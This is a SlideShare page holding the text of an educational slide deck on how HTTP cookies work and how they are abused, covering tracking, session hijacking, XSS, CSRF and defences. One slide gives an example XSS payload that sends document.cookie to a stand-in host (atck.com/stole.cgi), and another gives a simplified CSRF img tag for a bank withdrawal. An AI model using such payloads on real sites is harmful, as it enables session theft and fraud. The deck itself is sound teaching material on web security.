SlideShare a Scribd company logo
1 of 56
Download to read offline
Who is Afraid of Cookies?

        by Asaf Gery
    Email: asaf.gery@gmail.com
      Phone: +972-4-9995014
     Mobile: +972-54-2215733
Outline
●   Introduction
●   Innocent Uses of Cookies
●   Cookies Mechanism
●   Not So Innocent Uses of Cookies
●   Malicious Uses of Cookies and Defense
    Techniques

                   (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Introduction
What is a Cookie?
●   Cookie is data stored by the browser on
    behalf of a web server
●   A browser sends Cookies with every
    request to the corresponding web server*




               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Innocent Uses of Cookies
Innocent Uses of Cookies
●   Personalization
●   Navigation
●   Shopping Carts
●   Google Analytics
●   Facebook Connect
●   etc.
                 (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Cookies Mechanism
Cookies Under the Hood
●   Cookies are set by a web server using an
    HTTP Header or by a browser using
    JavaScript
●   In order to understand the mechanism,
    we should have a basic understanding of
    HTTP – Hyper Text Transfer Protocol


               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
HTTP
●   Hyper Text Transfer Protocol specifies
    the communication between Browsers
    and Web Servers
●   HTTP is request – response oriented




               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
HTTP Sequence
Web Browser                                           Web Server

              HTTP Request I
              HTTP Response I
              HTTP Request II
              HTTP Response II
          (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
HTTP Sequence Example
●   In the following slides pay attention to the
    following HTTP Headers: Referer, Set-
    Cookie and Cookie




                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
HTTP Request I
GET /wiki/Main_Page HTTP/1.1
Host: en.gentoo-wiki.com
Referer: http://en.gentoo-
wiki.com/wiki/Framebuffer




             (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
HTTP Response I
HTTP/1.1 200 OK
Server: Apache
Last-Modified: Thu, 02 Sep 2010 17:55:00
GMT
Content-Type: text/html; charset=utf-8
Content-Length: 32533
Date: Mon, 27 Dec 2010 18:34:34 GMT
Set-Cookie:
show_side_bar=true;Expires=Thu, 22-
Mar-2011 18:35:38 GMT
             (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
HTTP Request II
GET /img/wiki_g.png HTTP/1.1
Host: en.gentoo-wiki.com
Referer: http://en.gentoo-
wiki.com/wiki/Main_Page
Cookie: show_side_bar=true


             (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Third Party Cookies
●   Cookies are supposed to be used
    between browsers and web servers -
     st     nd
    1 and 2 Parties
●   Web pages embed files (videos, flash,
                                rd
    images, css, scripts) from 3 party sites
    such as ad. Networks, Google Analytics
    etc.


                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Not So Innocent Uses of
        Cookies
Not So Innocent Uses of
            Cookies
●   Tracking user's web surfing habits
●   Creating user profile by analyzing visited
    websites




                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Cookie Attributes
Cookie Attributes
●   By setting Cookie attributes a Web
    Server instructs browsers under which
    conditions should that Cookie be sent by
    browsers and how long should it be kept
    in the browser's cache (memory and hard
    disk)


               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Domain Attribute
●   Domain attribute instructs the browser
    when to send that Cookie (with which
    URLs)
●   Format: Domain=<domain-spec>; where
    <domain-spec> has the same format of
    Google's advanced search
●   More dots (.) means that the Cookie will
    be associated with less URLs
               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Domain Attribute
●   Examples:
    Set-Cookie: ...;Domain=.gery.co.il;... -
    this Cookie will be sent with every URL
    whose host name ends with .gery.co.il
    Set-Cookie: ...
    ;Domain=mail.gery.co.il;... - this Cookie
    will be sent only to URLs whose host
    name is precisely mail.gery.co.il
                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Path Attribute
●   Path attribute compliments Domain
    attribute
●   Format: Path=<path-spec> where
    <path-spec> is Unix style – with forward
    slashes (/)
●   More slashes means that the Cookie will
    be associated with less URLs

               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Path Attribute
●   Examples:
    Set-Cookie: ...;Path=/;... - this Cookie will
    be sent with every URL that matches the
    domain spec (if any), meaning – every
    path
    Set-Cookie: ... ;Path=/accounts/a/as/;...
    - this Cookie will be sent only to URLs
    whose path starts with /accounts/a/as/
                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Expires and Max-Age
●   Expires specifies Cookie's expiration
    time in terms of date and and time
           (e.g. Expires=Tue, 22-Mar-2011
    22:00:00 GMT; )
●   Max-Age specifies Cookie's expiration
    time in terms of secs. from now (e.g.
    Max-Age: 3600; - keep the Cookie for
    one hour)

               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Persistent Cookies
●   Persistent Cookies are Cookies which
    have expiration time in the future and
    therefore are stored in the browser's
    cache (i.e. on the hard disk)
●   Expiration is set using either Expires or
    Max-Age attribute



                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Session Cookies
●   Cookie whose expiration date or max age
    is not specified is called Session Cookie
●   Session Cookies are usually stored on
    the RAM and deleted as soon as the
    browser is closed
●   The problem: HTTP does not define the
    life time of an HTTP Session, since it
    was originally designed as a session-less
    protocol
                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Secure and HttpOnly
●   Secure and HttpOnly attributes allow
    better security when using cookies:
    – Secure   specifies a Cookie that will be
      transferred only via an encrypted
      channel (HTTPS)
    – HttpOnly specifies a Cookie that will
      not be accessible from Javascript code
      on the browser side
                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Malicious Uses of Cookies
Session Hijacking
●   Web sites use Cookies to identify user
    sessions
●   By stealing those identity session
    Cookies an attacker can impersonate the
    victim
●   Web servers have no way telling the
    difference between a real user and an
    attacker
               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Session Hijacking Methods
●   Various methods can be used for session
    hijacking:
    – NetworkEavesdropping
    – DNS Cache Poisoning
    – XSS
    – CSRF


                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Session Hijacking
Using Network Eavesdropping
Network Eavesdropping
●   Traffic on a network can be intercepted
    and read by computers other than its
    sender and its receiver (particularly over
    unencrypted open Wi-Fi network)
●   FireSheep is an example of using this
    technique


                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Network Eavesdropping
●   Tools such as tcpdump and WireShark
    can be used to capture traffic on a
    network
●   This attack can be easily mitigated by
    using HTTPS and Secure Cookies
    exclusively


                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Session Hijacking
Using DNS Cache Poisoning
DNS Cache Poisoning
●   CheckPoint's movie
●   DNS Cache Poisoning is a more
    sophisticated attack that takes advantage
    of the fact that identity session Cookies
    are usually set in the domain scope



               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
DNS Cache Poisoning
1.A server that is controlled by an attacker
  pretends to be a member of a domain
  whose Cookies are to be stolen (e.g.
  bogus.facebook.com) by poisoning the
  DNS Cache of the victim



              (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
DNS Cache Poisoning
2.A web page created by the attacker
  which resides on a different server,
  contains a reference to the bogus server
  (using an image, css, script, flash, etc)




             (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
DNS Cache Poisoning
3.The victim's browser intercepts that
  server as a member of the impersonated
  domain (facebook.com in our example)
  and therefore sends the session cookies
  with the HTTP request for the image



             (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
DNS Cache Poisoning
4.Now the attacker has the victim's session
  cookies and he/she can use them to
  impersonate the victim and act on behalf
  of the victim
●   Sometimes, the action can be encoded in
    the URL of the bogus image, in that case
    the browser's attempt to load the image
    will trigger the action automatically
               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
DNS Cache Poisoning
●   This attack can be dramatically mitigated
    by using HTTPS and Secure Cookies
    exclusively
●   HTTPS requires certificate
●   Wrong certificate -> browser's warning



               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Session Hijacking
Using Cross Site Scripting
XSS - Cross Site Scripting
●   XSS is a code injection attack
●   An attacker injects JavaScript code into a
    website
●   The browser cannot tell the difference
    between an injected code and a genuine
    code


                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
XSS - Cross Site Scripting
●   Using XSS an attacker can steal the
    victim's Cookies
●   Example: <a href="#"
    onclick="window.location='http://atck.com
    /stole.cgi?c='+escape(document.cookie);
    return false;">Click here!</a>


               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Session Hijacking
Using Cross Site Request
        Forgery
CSRF - Cross Site Request
        Forgery
●   CSRF exploits the trust that a web site
    has in a user's browser
●   In this attack a malicious web site
    “manipulates” the browser to execute an
    action on a victim web site by loading a
    specially crafted image*
                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
CSRF - Cross Site Request
        Forgery
●   Example (very simplified): <img
    src="http://yourbank.com/withdraw?
    account=david&amount=9000000&for=m
    oshe">



             (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
CSRF - Cross Site Request
        Forgery
●   Prevention is not trivial!




                 (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Samy Worm
XSS/CSRF – Samy Worm
●   On October 4, 2005, Samy Kamkar
    released a worm on MySpace that used
    a combination of XSS and CSRF attacks
●   The worm displayed "but most of all,
    Samy is my hero" on victims' profiles
●   Within 20 hours, over one million profiles
    were infected
                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
For Further Reading
HTTP
●   RFC 1945 – HTTP 1.0 (May 1996)
●   RFC 2068 – HTTP 1.1 (January 1997)
●   RFC 2616 – HTTP 1.1 (June 1999,
    obsoleted RFC 2068)
●   All RFCs can be found here -
    http://www.ietf.org/rfc.html


               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Wikipedia
●   HTTP Cookie -
    https://secure.wikimedia.org/wikipedia/en
    /wiki/HTTP_cookie




               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Netscape Cookie
           Specification
●   Netscape's original Cookie specification
    (June, 1994) -
    http://curl.haxx.se/rfc/cookie_spec.html




               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Cookies RFCs
●   RFC 2109 – HTTP State Management
    Mechanism (February 1997)
●   RFC 2965 – HTTP State Management
    Mechanism (October 2000, obsoleted
    RFC 2109)
●   All RFCs can be found here -
    http://www.ietf.org/rfc.html

               (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Samy Worm
●   Samy's own story -
    http://namb.la/popular/
●   Technical details and the source code -
    http://namb.la/popular/tech.html




                (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
Thank You

More Related Content

What's hot

Cookies and sessions
Cookies and sessionsCookies and sessions
Cookies and sessionsSukrit Gupta
 
Web app development_cookies_sessions_14
Web app development_cookies_sessions_14Web app development_cookies_sessions_14
Web app development_cookies_sessions_14Hassen Poreya
 
Cookie & Session In ASP.NET
Cookie & Session In ASP.NETCookie & Session In ASP.NET
Cookie & Session In ASP.NETShingalaKrupa
 
Web Cookies
Web CookiesWeb Cookies
Web Cookiesapwebco
 
Beyond Logging: Using MongoDB to Power a Private Social Network (Oh, and log ...
Beyond Logging: Using MongoDB to Power a Private Social Network (Oh, and log ...Beyond Logging: Using MongoDB to Power a Private Social Network (Oh, and log ...
Beyond Logging: Using MongoDB to Power a Private Social Network (Oh, and log ...justinjenkins
 
PHP - Getting good with cookies
PHP - Getting good with cookiesPHP - Getting good with cookies
PHP - Getting good with cookiesFirdaus Adib
 
Demystifying REST - SFRails meetup
Demystifying REST - SFRails meetupDemystifying REST - SFRails meetup
Demystifying REST - SFRails meetupKirsten Hunter
 
Chrome Dev Summit 2020 Extended: Improve Your Web Authentication Security
Chrome Dev Summit 2020 Extended:  Improve Your Web Authentication SecurityChrome Dev Summit 2020 Extended:  Improve Your Web Authentication Security
Chrome Dev Summit 2020 Extended: Improve Your Web Authentication SecurityYu-Shuan Hsieh
 
Token Based Authentication Systems
Token Based Authentication SystemsToken Based Authentication Systems
Token Based Authentication SystemsHüseyin BABAL
 
Building High Performance Web Applications with the Windows Azure Platform
Building High Performance Web Applications with the Windows Azure PlatformBuilding High Performance Web Applications with the Windows Azure Platform
Building High Performance Web Applications with the Windows Azure PlatformWade Wegner
 
Javascript Object Signing & Encryption
Javascript Object Signing & EncryptionJavascript Object Signing & Encryption
Javascript Object Signing & EncryptionAaron Zauner
 

What's hot (20)

Cookies and sessions
Cookies and sessionsCookies and sessions
Cookies and sessions
 
PHP - Introduction to PHP Cookies and Sessions
PHP - Introduction to PHP Cookies and SessionsPHP - Introduction to PHP Cookies and Sessions
PHP - Introduction to PHP Cookies and Sessions
 
Session and Cookies
Session and CookiesSession and Cookies
Session and Cookies
 
Session & Cookies
Session & CookiesSession & Cookies
Session & Cookies
 
Web app development_cookies_sessions_14
Web app development_cookies_sessions_14Web app development_cookies_sessions_14
Web app development_cookies_sessions_14
 
Cookie & Session In ASP.NET
Cookie & Session In ASP.NETCookie & Session In ASP.NET
Cookie & Session In ASP.NET
 
Sessions in php
Sessions in php Sessions in php
Sessions in php
 
Cookie
CookieCookie
Cookie
 
Web Cookies
Web CookiesWeb Cookies
Web Cookies
 
JSON Web Tokens (JWT)
JSON Web Tokens (JWT)JSON Web Tokens (JWT)
JSON Web Tokens (JWT)
 
Beyond Logging: Using MongoDB to Power a Private Social Network (Oh, and log ...
Beyond Logging: Using MongoDB to Power a Private Social Network (Oh, and log ...Beyond Logging: Using MongoDB to Power a Private Social Network (Oh, and log ...
Beyond Logging: Using MongoDB to Power a Private Social Network (Oh, and log ...
 
Php sessions & cookies
Php sessions & cookiesPhp sessions & cookies
Php sessions & cookies
 
PHP - Getting good with cookies
PHP - Getting good with cookiesPHP - Getting good with cookies
PHP - Getting good with cookies
 
Cookies-PHP
Cookies-PHPCookies-PHP
Cookies-PHP
 
Demystifying REST - SFRails meetup
Demystifying REST - SFRails meetupDemystifying REST - SFRails meetup
Demystifying REST - SFRails meetup
 
Passwords presentation
Passwords presentationPasswords presentation
Passwords presentation
 
Chrome Dev Summit 2020 Extended: Improve Your Web Authentication Security
Chrome Dev Summit 2020 Extended:  Improve Your Web Authentication SecurityChrome Dev Summit 2020 Extended:  Improve Your Web Authentication Security
Chrome Dev Summit 2020 Extended: Improve Your Web Authentication Security
 
Token Based Authentication Systems
Token Based Authentication SystemsToken Based Authentication Systems
Token Based Authentication Systems
 
Building High Performance Web Applications with the Windows Azure Platform
Building High Performance Web Applications with the Windows Azure PlatformBuilding High Performance Web Applications with the Windows Azure Platform
Building High Performance Web Applications with the Windows Azure Platform
 
Javascript Object Signing & Encryption
Javascript Object Signing & EncryptionJavascript Object Signing & Encryption
Javascript Object Signing & Encryption
 

Viewers also liked

Cookies testing
Cookies testingCookies testing
Cookies testingabhi2632
 
Electronic computer cookies
Electronic computer cookiesElectronic computer cookies
Electronic computer cookiesSimilarweb
 
What is Agile Software Development?
What is Agile Software Development?What is Agile Software Development?
What is Agile Software Development?Blossom IO Inc.
 
Agile Software Development with Scrum – Introduction
Agile Software Development with Scrum – IntroductionAgile Software Development with Scrum – Introduction
Agile Software Development with Scrum – IntroductionBlackvard
 
Authentication: Cookies vs JWTs and why you’re doing it wrong
Authentication: Cookies vs JWTs and why you’re doing it wrongAuthentication: Cookies vs JWTs and why you’re doing it wrong
Authentication: Cookies vs JWTs and why you’re doing it wrongDerek Perkins
 
Overview of Agile Methodology
Overview of Agile MethodologyOverview of Agile Methodology
Overview of Agile MethodologyHaresh Karkar
 
Agile Software Development Overview
Agile Software Development OverviewAgile Software Development Overview
Agile Software Development OverviewStewart Rogers
 
Cookiepoisoning
CookiepoisoningCookiepoisoning
CookiepoisoningAung Khant
 
Cookiepoisoningbyline
CookiepoisoningbylineCookiepoisoningbyline
CookiepoisoningbylineAung Khant
 
Active Https Cookie Stealing
Active Https Cookie StealingActive Https Cookie Stealing
Active Https Cookie StealingSecurityTube.Net
 
Hacking Web Aplications using Cookie Poisoning
Hacking Web Aplications using Cookie PoisoningHacking Web Aplications using Cookie Poisoning
Hacking Web Aplications using Cookie PoisoningSumutiu Marius
 
Cookie testing
Cookie testingCookie testing
Cookie testingBugRaptors
 
Android Forensics: Exploring Android Internals and Android Apps
Android Forensics: Exploring Android Internals and Android AppsAndroid Forensics: Exploring Android Internals and Android Apps
Android Forensics: Exploring Android Internals and Android AppsMoe Tanabian
 
Comparing the Multimodal Interaction Technique Design of MINT with NiMMiT
Comparing the Multimodal Interaction Technique Design of MINT with NiMMiTComparing the Multimodal Interaction Technique Design of MINT with NiMMiT
Comparing the Multimodal Interaction Technique Design of MINT with NiMMiTSebastian Feuerstack
 
Lca seminar modified
Lca seminar modifiedLca seminar modified
Lca seminar modifiedInbok Lee
 
Integrating Lucene into a Transactional XML Database
Integrating Lucene into a Transactional XML DatabaseIntegrating Lucene into a Transactional XML Database
Integrating Lucene into a Transactional XML Databaselucenerevolution
 

Viewers also liked (20)

Cookies testing
Cookies testingCookies testing
Cookies testing
 
Electronic computer cookies
Electronic computer cookiesElectronic computer cookies
Electronic computer cookies
 
What is Agile Software Development?
What is Agile Software Development?What is Agile Software Development?
What is Agile Software Development?
 
Agile Software Development with Scrum – Introduction
Agile Software Development with Scrum – IntroductionAgile Software Development with Scrum – Introduction
Agile Software Development with Scrum – Introduction
 
Authentication: Cookies vs JWTs and why you’re doing it wrong
Authentication: Cookies vs JWTs and why you’re doing it wrongAuthentication: Cookies vs JWTs and why you’re doing it wrong
Authentication: Cookies vs JWTs and why you’re doing it wrong
 
Overview of Agile Methodology
Overview of Agile MethodologyOverview of Agile Methodology
Overview of Agile Methodology
 
Agile Software Development Overview
Agile Software Development OverviewAgile Software Development Overview
Agile Software Development Overview
 
Cookiepoisoning
CookiepoisoningCookiepoisoning
Cookiepoisoning
 
Cookiepoisoningbyline
CookiepoisoningbylineCookiepoisoningbyline
Cookiepoisoningbyline
 
Active Https Cookie Stealing
Active Https Cookie StealingActive Https Cookie Stealing
Active Https Cookie Stealing
 
Hacking Web Aplications using Cookie Poisoning
Hacking Web Aplications using Cookie PoisoningHacking Web Aplications using Cookie Poisoning
Hacking Web Aplications using Cookie Poisoning
 
Cookie testing
Cookie testingCookie testing
Cookie testing
 
Android Forensics: Exploring Android Internals and Android Apps
Android Forensics: Exploring Android Internals and Android AppsAndroid Forensics: Exploring Android Internals and Android Apps
Android Forensics: Exploring Android Internals and Android Apps
 
Stealing sensitive data from android phones the hacker way
Stealing sensitive data from android phones   the hacker wayStealing sensitive data from android phones   the hacker way
Stealing sensitive data from android phones the hacker way
 
Comparing the Multimodal Interaction Technique Design of MINT with NiMMiT
Comparing the Multimodal Interaction Technique Design of MINT with NiMMiTComparing the Multimodal Interaction Technique Design of MINT with NiMMiT
Comparing the Multimodal Interaction Technique Design of MINT with NiMMiT
 
Encoding survey
Encoding surveyEncoding survey
Encoding survey
 
Lca seminar modified
Lca seminar modifiedLca seminar modified
Lca seminar modified
 
WhatsApp Forensic
WhatsApp ForensicWhatsApp Forensic
WhatsApp Forensic
 
Integrating Lucene into a Transactional XML Database
Integrating Lucene into a Transactional XML DatabaseIntegrating Lucene into a Transactional XML Database
Integrating Lucene into a Transactional XML Database
 
Xml databases
Xml databasesXml databases
Xml databases
 

Similar to Cookies and browser exploits

Overview of Cookies in HTTP - Miran al Mehrab
Overview of Cookies in HTTP - Miran al MehrabOverview of Cookies in HTTP - Miran al Mehrab
Overview of Cookies in HTTP - Miran al MehrabCefalo
 
Dedicated sever collocation
Dedicated sever collocationDedicated sever collocation
Dedicated sever collocationmatthewjames95
 
High Performance Ajax Applications
High Performance Ajax ApplicationsHigh Performance Ajax Applications
High Performance Ajax ApplicationsSiarhei Barysiuk
 
Weird new tricks for browser fingerprinting
Weird new tricks for browser fingerprintingWeird new tricks for browser fingerprinting
Weird new tricks for browser fingerprintingRoel Palmaers
 
Javascript issues and tools in production for developers
Javascript issues and tools in production for developersJavascript issues and tools in production for developers
Javascript issues and tools in production for developersMichael Haberman
 
Dedicated sever collocation
Dedicated sever collocationDedicated sever collocation
Dedicated sever collocationmatthewjames95
 
Create a Serverless Web Event Pipeline (ADT301) - AWS re:Invent 2018
Create a Serverless Web Event Pipeline (ADT301) - AWS re:Invent 2018Create a Serverless Web Event Pipeline (ADT301) - AWS re:Invent 2018
Create a Serverless Web Event Pipeline (ADT301) - AWS re:Invent 2018Amazon Web Services
 
Analysis of Google Page Speed Insight
Analysis of Google Page Speed InsightAnalysis of Google Page Speed Insight
Analysis of Google Page Speed InsightSarvesh Sonawane
 
Browser Wars 2019 - Implementing a Content Security Policy
Browser Wars 2019 - Implementing a Content Security PolicyBrowser Wars 2019 - Implementing a Content Security Policy
Browser Wars 2019 - Implementing a Content Security PolicyGeorge Boobyer
 
07 cookies
07 cookies07 cookies
07 cookiessnopteck
 
Practical Performance Tips and Tricks to Make Your HTML/JavaScript Apps Faster
Practical Performance Tips and Tricks to Make Your HTML/JavaScript Apps FasterPractical Performance Tips and Tricks to Make Your HTML/JavaScript Apps Faster
Practical Performance Tips and Tricks to Make Your HTML/JavaScript Apps FasterDoris Chen
 
Training Webinar: Enterprise application performance with server push technol...
Training Webinar: Enterprise application performance with server push technol...Training Webinar: Enterprise application performance with server push technol...
Training Webinar: Enterprise application performance with server push technol...OutSystems
 
HTTP/2, SPDY e Otimizações Web - Front In Maceió 2014 - Sérgio Lopes
HTTP/2, SPDY e Otimizações Web - Front In Maceió 2014 - Sérgio LopesHTTP/2, SPDY e Otimizações Web - Front In Maceió 2014 - Sérgio Lopes
HTTP/2, SPDY e Otimizações Web - Front In Maceió 2014 - Sérgio LopesCaelum
 
Less and faster – Cache tips for WordPress developers
Less and faster – Cache tips for WordPress developersLess and faster – Cache tips for WordPress developers
Less and faster – Cache tips for WordPress developersSeravo
 
Client Side Performance @ Xero
Client Side Performance @ XeroClient Side Performance @ Xero
Client Side Performance @ XeroCraig Walker
 
HTTPS Site Migration with SEMrush
HTTPS Site Migration with SEMrushHTTPS Site Migration with SEMrush
HTTPS Site Migration with SEMrushTake It Offline
 
Https Webinar slides - SEMRush with Gerry White, Tom Bourlet & Andy Veal
Https Webinar slides - SEMRush with Gerry White, Tom Bourlet & Andy VealHttps Webinar slides - SEMRush with Gerry White, Tom Bourlet & Andy Veal
Https Webinar slides - SEMRush with Gerry White, Tom Bourlet & Andy VealGerry White
 
BSides Rochester 2018: Chaim Sanders: How the Cookie Crumbles: Modern HTTP St...
BSides Rochester 2018: Chaim Sanders: How the Cookie Crumbles: Modern HTTP St...BSides Rochester 2018: Chaim Sanders: How the Cookie Crumbles: Modern HTTP St...
BSides Rochester 2018: Chaim Sanders: How the Cookie Crumbles: Modern HTTP St...JosephTesta9
 
Web performance - Analysing Heart.co.uk
Web performance - Analysing Heart.co.ukWeb performance - Analysing Heart.co.uk
Web performance - Analysing Heart.co.ukgareth53
 

Similar to Cookies and browser exploits (20)

Overview of Cookies in HTTP - Miran al Mehrab
Overview of Cookies in HTTP - Miran al MehrabOverview of Cookies in HTTP - Miran al Mehrab
Overview of Cookies in HTTP - Miran al Mehrab
 
Dedicated sever collocation
Dedicated sever collocationDedicated sever collocation
Dedicated sever collocation
 
High Performance Ajax Applications
High Performance Ajax ApplicationsHigh Performance Ajax Applications
High Performance Ajax Applications
 
Weird new tricks for browser fingerprinting
Weird new tricks for browser fingerprintingWeird new tricks for browser fingerprinting
Weird new tricks for browser fingerprinting
 
Javascript issues and tools in production for developers
Javascript issues and tools in production for developersJavascript issues and tools in production for developers
Javascript issues and tools in production for developers
 
Dedicated sever collocation
Dedicated sever collocationDedicated sever collocation
Dedicated sever collocation
 
Create a Serverless Web Event Pipeline (ADT301) - AWS re:Invent 2018
Create a Serverless Web Event Pipeline (ADT301) - AWS re:Invent 2018Create a Serverless Web Event Pipeline (ADT301) - AWS re:Invent 2018
Create a Serverless Web Event Pipeline (ADT301) - AWS re:Invent 2018
 
Analysis of Google Page Speed Insight
Analysis of Google Page Speed InsightAnalysis of Google Page Speed Insight
Analysis of Google Page Speed Insight
 
Browser Wars 2019 - Implementing a Content Security Policy
Browser Wars 2019 - Implementing a Content Security PolicyBrowser Wars 2019 - Implementing a Content Security Policy
Browser Wars 2019 - Implementing a Content Security Policy
 
07 cookies
07 cookies07 cookies
07 cookies
 
Practical Performance Tips and Tricks to Make Your HTML/JavaScript Apps Faster
Practical Performance Tips and Tricks to Make Your HTML/JavaScript Apps FasterPractical Performance Tips and Tricks to Make Your HTML/JavaScript Apps Faster
Practical Performance Tips and Tricks to Make Your HTML/JavaScript Apps Faster
 
Training Webinar: Enterprise application performance with server push technol...
Training Webinar: Enterprise application performance with server push technol...Training Webinar: Enterprise application performance with server push technol...
Training Webinar: Enterprise application performance with server push technol...
 
Cookies
CookiesCookies
Cookies
 
HTTP/2, SPDY e Otimizações Web - Front In Maceió 2014 - Sérgio Lopes
HTTP/2, SPDY e Otimizações Web - Front In Maceió 2014 - Sérgio LopesHTTP/2, SPDY e Otimizações Web - Front In Maceió 2014 - Sérgio Lopes
HTTP/2, SPDY e Otimizações Web - Front In Maceió 2014 - Sérgio Lopes
 
Less and faster – Cache tips for WordPress developers
Less and faster – Cache tips for WordPress developersLess and faster – Cache tips for WordPress developers
Less and faster – Cache tips for WordPress developers
 
Client Side Performance @ Xero
Client Side Performance @ XeroClient Side Performance @ Xero
Client Side Performance @ Xero
 
HTTPS Site Migration with SEMrush
HTTPS Site Migration with SEMrushHTTPS Site Migration with SEMrush
HTTPS Site Migration with SEMrush
 
Https Webinar slides - SEMRush with Gerry White, Tom Bourlet & Andy Veal
Https Webinar slides - SEMRush with Gerry White, Tom Bourlet & Andy VealHttps Webinar slides - SEMRush with Gerry White, Tom Bourlet & Andy Veal
Https Webinar slides - SEMRush with Gerry White, Tom Bourlet & Andy Veal
 
BSides Rochester 2018: Chaim Sanders: How the Cookie Crumbles: Modern HTTP St...
BSides Rochester 2018: Chaim Sanders: How the Cookie Crumbles: Modern HTTP St...BSides Rochester 2018: Chaim Sanders: How the Cookie Crumbles: Modern HTTP St...
BSides Rochester 2018: Chaim Sanders: How the Cookie Crumbles: Modern HTTP St...
 
Web performance - Analysing Heart.co.uk
Web performance - Analysing Heart.co.ukWeb performance - Analysing Heart.co.uk
Web performance - Analysing Heart.co.uk
 

More from Iftach Ian Amit

Cyber Risk Quantification - CyberTLV
Cyber Risk Quantification - CyberTLVCyber Risk Quantification - CyberTLV
Cyber Risk Quantification - CyberTLVIftach Ian Amit
 
BSidesTLV Closing Keynote
BSidesTLV Closing KeynoteBSidesTLV Closing Keynote
BSidesTLV Closing KeynoteIftach Ian Amit
 
Social Media Risk Metrics
Social Media Risk MetricsSocial Media Risk Metrics
Social Media Risk MetricsIftach Ian Amit
 
From your Pocket to your Heart and Back
From your Pocket to your Heart and BackFrom your Pocket to your Heart and Back
From your Pocket to your Heart and BackIftach Ian Amit
 
Painting a Company Red and Blue
Painting a Company Red and BluePainting a Company Red and Blue
Painting a Company Red and BlueIftach Ian Amit
 
"Cyber" security - all good, no need to worry?
"Cyber" security - all good, no need to worry?"Cyber" security - all good, no need to worry?
"Cyber" security - all good, no need to worry?Iftach Ian Amit
 
Seeing Red In Your Future?
Seeing Red In Your Future?Seeing Red In Your Future?
Seeing Red In Your Future?Iftach Ian Amit
 
Passwords good badugly181212-2
Passwords good badugly181212-2Passwords good badugly181212-2
Passwords good badugly181212-2Iftach Ian Amit
 
Advanced Data Exfiltration - the way Q would have done it
Advanced Data Exfiltration - the way Q would have done itAdvanced Data Exfiltration - the way Q would have done it
Advanced Data Exfiltration - the way Q would have done itIftach Ian Amit
 
Infecting Python Bytecode
Infecting Python BytecodeInfecting Python Bytecode
Infecting Python BytecodeIftach Ian Amit
 
Cheating in Computer Games
Cheating in Computer GamesCheating in Computer Games
Cheating in Computer GamesIftach Ian Amit
 

More from Iftach Ian Amit (20)

Cyber Risk Quantification - CyberTLV
Cyber Risk Quantification - CyberTLVCyber Risk Quantification - CyberTLV
Cyber Risk Quantification - CyberTLV
 
Devsecops at Cimpress
Devsecops at CimpressDevsecops at Cimpress
Devsecops at Cimpress
 
BSidesTLV Closing Keynote
BSidesTLV Closing KeynoteBSidesTLV Closing Keynote
BSidesTLV Closing Keynote
 
Social Media Risk Metrics
Social Media Risk MetricsSocial Media Risk Metrics
Social Media Risk Metrics
 
ISTS12 Keynote
ISTS12 KeynoteISTS12 Keynote
ISTS12 Keynote
 
From your Pocket to your Heart and Back
From your Pocket to your Heart and BackFrom your Pocket to your Heart and Back
From your Pocket to your Heart and Back
 
Painting a Company Red and Blue
Painting a Company Red and BluePainting a Company Red and Blue
Painting a Company Red and Blue
 
"Cyber" security - all good, no need to worry?
"Cyber" security - all good, no need to worry?"Cyber" security - all good, no need to worry?
"Cyber" security - all good, no need to worry?
 
Armorizing applications
Armorizing applicationsArmorizing applications
Armorizing applications
 
Seeing Red In Your Future?
Seeing Red In Your Future?Seeing Red In Your Future?
Seeing Red In Your Future?
 
Hacking cyber-iamit
Hacking cyber-iamitHacking cyber-iamit
Hacking cyber-iamit
 
Passwords good badugly181212-2
Passwords good badugly181212-2Passwords good badugly181212-2
Passwords good badugly181212-2
 
Bitcoin
BitcoinBitcoin
Bitcoin
 
Sexy defense
Sexy defenseSexy defense
Sexy defense
 
Cyber state
Cyber stateCyber state
Cyber state
 
Advanced Data Exfiltration - the way Q would have done it
Advanced Data Exfiltration - the way Q would have done itAdvanced Data Exfiltration - the way Q would have done it
Advanced Data Exfiltration - the way Q would have done it
 
Infecting Python Bytecode
Infecting Python BytecodeInfecting Python Bytecode
Infecting Python Bytecode
 
Exploiting Second life
